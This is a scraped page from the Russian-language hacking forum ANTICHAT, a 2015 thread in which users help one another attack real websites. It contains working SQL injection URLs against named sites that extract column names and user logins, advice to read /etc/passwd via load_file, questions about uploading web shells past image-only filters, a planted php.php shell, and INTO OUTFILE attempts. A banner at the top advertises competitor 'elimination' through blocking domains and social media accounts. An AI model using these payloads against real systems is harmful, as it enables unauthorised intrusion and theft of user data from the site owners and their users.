УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2410 из 2438

2410

Опции темы

Поиск в этой теме

Опции просмотра

#24091

08.02.2015, 13:42

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от izzy

izzy said:
при таком +union+select+1,2,user,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18+from+mysql.user--
пишет SELECT command denied to user 'u1094094_sangha'@'ип сайта' for table 'user' - это значит что нет?

запрос:

Код:

Code:
SELECT 1 FROM mysql.user;

наличие доступа к бд mysql или наоборот, отсутствие, не говорит о том, что у пользователя нет file_priv. еще раз говорю, попробуйте load_file('/etc/passwd'). в вашем случае /etc/passwd надо заенкодить в hex.

Цитата:

Сообщение от mazaxaka

mazaxaka said:
вот

Код:

Code:
ja-zdorov.com/images/php.php

отправьте доступ в лс, посмотрю

#24092

08.02.2015, 13:51

kingbeef

Новичок

Регистрация: 08.04.2010

Сообщений: 1

Провел на форуме:
70640

Репутация: 0

Цитата:

Сообщение от izzy

Значит нет доступа.

#24093

09.02.2015, 10:02

madam

Guest

Сообщений: n/a

Провел на форуме:
50513

Репутация: 1

Подскажите,как вытащить есть таблица [users] стобцы из неё я могу прочитать,но вот дальше никак, таблица в квадратных скобках

#24094

09.02.2015, 11:15

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от madam

madam said:
Подскажите,как вытащить есть таблица [users] стобцы из неё я могу прочитать,но вот дальше никак, таблица в квадратных скобках

Код:

Code:
SELECT 1,2,3,4,5 FROM `[users]`--

#24095

09.02.2015, 11:33

madam

Guest

Сообщений: n/a

Провел на форуме:
50513

Репутация: 1

Цитата:

Сообщение от faza02

faza02 said:

Код:

Code:
SELECT 1,2,3,4,5 FROM `[users]`--

)) уже по разному пробовала,не хочет

http://bt c45.net/forum.php?sub=166 union select 1,2,3,4,TABLE_NAME,6,7 FROM INFORMATION_SCHEMA.TABLES LIMIT 98,1

кавычки фильтруются

#24096

09.02.2015, 11:56

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

колонки:

Код:

Code:
http://btc45.net/forum.php?sub=166+union+select+1,2,3,4,column_NAME,6,7+FROM+INFORMATION_SCHEMA.columns+where+table_name=0x5b75736572735d

записи из таблицы:

Код:

Code:
http://btc45.net/forum.php?sub=166+union+select+1,2,3,4,login,6,7+FROM+`[users]`+limit+4,1

что именно он не хочет?

#24097

09.02.2015, 12:14

madam

Guest

Сообщений: n/a

Провел на форуме:
50513

Репутация: 1

Цитата:

Сообщение от faza02

faza02 said:
колонки:

Код:

Code:
http://btc45.net/forum.php?sub=166+union+select+1,2,3,4,column_NAME,6,7+FROM+INFORMATION_SCHEMA.columns+where+table_name=0x5b75736572735d

записи из таблицы:

Код:

Code:
http://btc45.net/forum.php?sub=166+union+select+1,2,3,4,login,6,7+FROM+`[users]`+limit+4,1

что именно он не хочет?

блин,всё поняла кавычки не те поставила (( спасиб

#24098

10.02.2015, 22:39

Unknowhacker

Guest

Сообщений: n/a

Провел на форуме:
94006

Репутация: 24

Есть админка, но запрещено заливать файлы .php только изображение, как можно залить шелл. Проинклудить не получается.

#24099

11.02.2015, 00:32

DezMond™

Участник форума

Регистрация: 10.01.2008

Сообщений: 199

Провел на форуме:
961428

Репутация: 662

Отправить сообщение для DezMond™ с помощью ICQ

Что можно с этим сделать?

http://www.kunst-forum.ch/suchresultate/?tx_artbase%5Baction%5D=performSearch&tx_artbase%5 Bcontroller%5D=Search&cHash=bdd49c98329a5db8044c19 2d4033f887&tx_artbase[__referrer][extensionName]=Artbase&tx_artbase[__referrer][controllerName]=Search&tx_artbase[__referrer][actionName]=showSearchForm&tx_artbase[__hmac]=a:3:{s:11:%22searchfield%22;i:1;s:6:%22action%22; i:1;s:10:%22controller%22;i:1;}5165223b6f84dec570c cfd7b1d7a2f1958787a14&tx_artbase[searchfield]=a?

урезал лишнее

http://www.kunst-forum.ch/suchresultate/?tx_artbase%5Baction%5D=performSearch&tx_artbase%5 Bcontroller%5D=Search&cHash=d57aa66360d76c68d7dc4a 736c29512a&tx_artbase%5Bsearchfield%5D=Craig

#24100

11.02.2015, 02:26

mazaxaka

Участник форума

Регистрация: 16.02.2008

Сообщений: 177

Провел на форуме:
883446

Репутация: 82

сайт на вп, есть рут бд, file_priv Y , админка заблочена по ип, прочитать файлы могу, а вот заливка при файл прив не работает, путь раскрыл. перепробовал все папки вп

Цитата:

Сообщение от None

select '' from mysql.user into outfile 'путь'

выдет ерор 13 cant create\write

Страница 2410 из 2438

2410

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход